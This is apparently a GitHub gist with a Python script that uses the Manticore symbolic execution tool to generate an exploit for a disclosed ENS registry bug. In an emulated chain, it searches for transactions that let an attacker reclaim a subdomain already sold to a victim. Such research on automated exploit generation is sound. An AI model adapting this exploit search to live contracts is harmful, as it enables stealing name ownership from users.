A manticore script to generat ENS exploits
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Automatic Exploit Generation for the ENS bug. The silver bullet. Amazing!! | |
# https://medium.com/the-ethereum-name-service/ens-registry-migration-bug-fix-new-features-64379193a5a | |
from binascii import unhexlify | |
from manticore import config | |
from manticore.ethereum import ManticoreEVM, ABI | |
from manticore.platforms.evm import globalsha3 | |
ETHER = 10**18 | |
m = ManticoreEVM() | |
# Initialization bytecode downloaded from: | |
# https://etherscan.io/address/0x314159265dd8dbb310642f98f50c066173c1259b#code | |
# Alternativelly you could compile hte serpent code found there | |
init_bytecode = unhexlify("3360206000015561021a806100146000396000f3630178b8bf60e060020a600035041415610020576004355460405260206040f35b6302571be360e060020a600035041415610044576020600435015460405260206040f35b6316a25cbd60e060020a600035041415610068576040600435015460405260206040f35b635b0fc9c360e060020a6000350414156100b557602060043501543314151561008f576002565b6024356020600435015560243560405260043560198061020160003960002060206040a2005b6306ab592360e060020a6000350414156101135760206004350154331415156100dc576002565b6044356020600435600052602435602052604060002001556044356040526024356004356021806101e060003960002060206040a3005b631896f70a60e060020a60003504141561015d57602060043501543314151561013a576002565b60243560043555602435604052600435601c806101c460003960002060206040a2005b6314ab903860e060020a6000350414156101aa576020600435015433141515610184576002565b602435604060043501556024356040526004356016806101ae60003960002060206040a2005b6002564e657754544c28627974657333322c75696e743634294e65775265736f6c76657228627974657333322c61646472657373294e65774f776e657228627974657333322c627974657333322c61646472657373295472616e7366657228627974657333322c6164647265737329") | |
# Create some accounts to recreate the attack | |
owner = m.create_account(balance=1 * ETHER) | |
attacker = m.create_account(balance=1 * ETHER) | |
victim = m.create_account(balance=1 * ETHER) | |
#CREATE tx.. https://etherscan.io/tx/0x40ea7c00f622a7c6699a0013a26e2399d0cd167f8565062a43eb962c6750f7db | |
# This will run the initialization bytecode and create the contract account for ENS | |
contract = m.create_contract(init=init_bytecode, owner=owner) | |
# This is unnecessary (but nice) | |
# We let manticore know about the abi so we can encode the transactions easily | |
functions = ('owner(bytes32)','resolver(bytes32)','ttl(bytes32)','setOwner(bytes32,address)','setSubnodeOwner(bytes32,bytes32,address)','setResolver(bytes32,address)','setTTL(bytes32,uint64)') | |
for signature in functions: | |
contract.add_function(signature) | |
print ("[+] Accounts in the emulated ethereum world:") | |
print (f" The contract address:\t{contract:x}") | |
print (f" The owner address: \t{owner:x}") | |
print (f" The attacker address:\t{attacker:x}") | |
print (f" The victim address:\t{victim:x}") | |
# 1 Concrete transaction | |
# This will encode a setSubnodeOwner transaction based on the provided signature | |
print ("[+] ENS root owner gives the attacker a subnode ('tob')") | |
root_node = b"\x00"*32 | |
node = unhexlify("2bcc18f608e191ae31db40a291c23d2c4b0c6a9998174955eaa14044d6677c8b") # hash("tob") | |
contract.setSubnodeOwner(root_node, node, attacker) # caller=owner | |
# 2 Symbolic transaction | |
# This will sent a transaction with 100 symbolic bytes in the calldata | |
# The function_id and all possible arguments included | |
print ("[+] Let the attacker prepare the attack. Manticore AEG.") | |
data_tx1 = m.make_symbolic_buffer(4+32*3) | |
m.transaction(caller=attacker, address=contract, data=data_tx1, value=0) | |
# 3 Concrete transaction | |
print ("[+] The attacker `sells` the node to a victim (and transfer it)") | |
# The attacker only onws the sub node "tob." hash(0,0x2bcc18f608e191ae31db40a291c23d2c4b0c6a9998174955eaa14044d6677c8b) | |
subnode = unhexlify("bb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc") # 1fc! | |
contract.setOwner(subnode, victim, caller=attacker) | |
#subnode owner was set to victim | |
# 4 Symbolic transaction | |
print ("[+] Now lets the attacker finalize the exploit somehow. Manticore AEG.") | |
data_tx2 = m.make_symbolic_buffer(4+32*3) | |
m.transaction(caller=attacker, address=contract, data=data_tx2, value=0) | |
# Check the owner of the subnode | |
# This sends a tx that asks for the owner of subnode then we need to | |
# find a state in which this tx returns the attacker address | |
contract.owner(subnode) | |
# Symbolic transactions generate a number of different states representing each | |
# possible trace. If we find a state in which the owner of the subnode is the attacker | |
# then we found an exploit trace | |
print ("[+] Check if the subnode owner is victim in all correct final states.") | |
for st in m.ready_states: | |
world = st.platform | |
# parse the return_data of the last transaction as an uint | |
stored_owner = ABI.deserialize("uint", st.platform.transactions[-1].return_data) | |
# It could be symbolic so we ask the solver | |
if st.can_be_true(stored_owner == attacker): | |
# if it is feasible then constraint it and recreqte the full exploit trace | |
st.constrain(stored_owner == attacker) | |
print ("[*] Exploit found! (The owner of subnode is again the attacker)") | |
# Trying to make it print the tx trace | |
# ALWAYS write your own parser. | |
for tx in st.platform.transactions[1:]: | |
conc_tx = tx.concretize(st, constrain=True) | |
for signature in functions: | |
func_id = ABI.function_selector(signature) | |
if func_id == conc_tx.data[:4]: | |
name = signature.split('(')[0] | |
nargs = signature.count(',') | |
rawsignature = ('(uint)', '(uint,uint)', '(uint,uint,uint)')[nargs] | |
args = map(hex, ABI.deserialize(rawsignature, conc_tx.data[4:])) | |
print (f" {name}({', '.join(args)})") | |
break | |
#This generates a more verbose trace and info about the state | |
m.generate_testcase(st) | |
print(f"[+] Look for testcases here: {m.workspace}") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment